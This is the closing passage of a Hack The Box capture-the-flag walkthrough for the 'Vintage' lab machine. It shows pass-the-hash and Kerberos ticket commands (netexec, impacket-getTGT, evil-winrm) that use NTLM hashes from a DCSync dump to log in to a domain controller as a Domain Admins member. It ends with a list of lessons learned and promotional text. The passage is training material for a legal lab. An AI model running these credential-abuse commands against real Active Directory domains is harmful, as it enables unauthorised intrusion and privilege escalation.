netexec smb dc01.vintage.htb -u Administrator -H 468c7497513f8243b59980f2240a10de -k
We will see that an error is giving us the idea that the login for the administrator user is disabled (probably for security reasons).
Press enter or click to view image in full size
Let’s look for other Domain admins
members. Basically Domain admins
group members have the same privilege as the administrator.
To do so, search for Domain Admins
in the search bar and click on Direct members
under Group Membership
.
Press enter or click to view image in full size
We can see that the user L.Bianchi_adm
is also a member of this group. Let’s request a TGT for this user too and try to authenticate with it.
We will get the hash from the DCSync result.
Press enter or click to view image in full size
impacket-getTGT vintage.htb/[email protected] -hashes :6b751449807e0d73065b0423b64687f0
Press enter or click to view image in full size
Now let’s authenticate with it.
[email protected] evil-winrm -i dc01.vintage.htb -r vintage.htb
Press enter or click to view image in full size
As you can see, we can get the root.txt
from the administrator’s desktop.
Obtaining flags throughout solving machines is just proof, but learning while solving machines is the most important part, and here are all the things we have learned from this machine:
netexec
for Kerberos Authentication.bloodyAD
and working with it.addself
and GenericWrite
ACEs.Ready to level up your hacking skills?
Join Hack The Box — the ultimate platform to learn penetration testing and cybersecurity hands-on.
👉 Start hacking here and get access to real-world labs, challenges, and career-boosting skills.
If you liked this walkthrough, don’t forget to check out my list:
If you have any questions about this box or in general. Don’t forget to leave a comment.
If you enjoyed this walkthrough of HTB Vintage, stick around for more boxes and stories. We all start somewhere — this is just the beginning.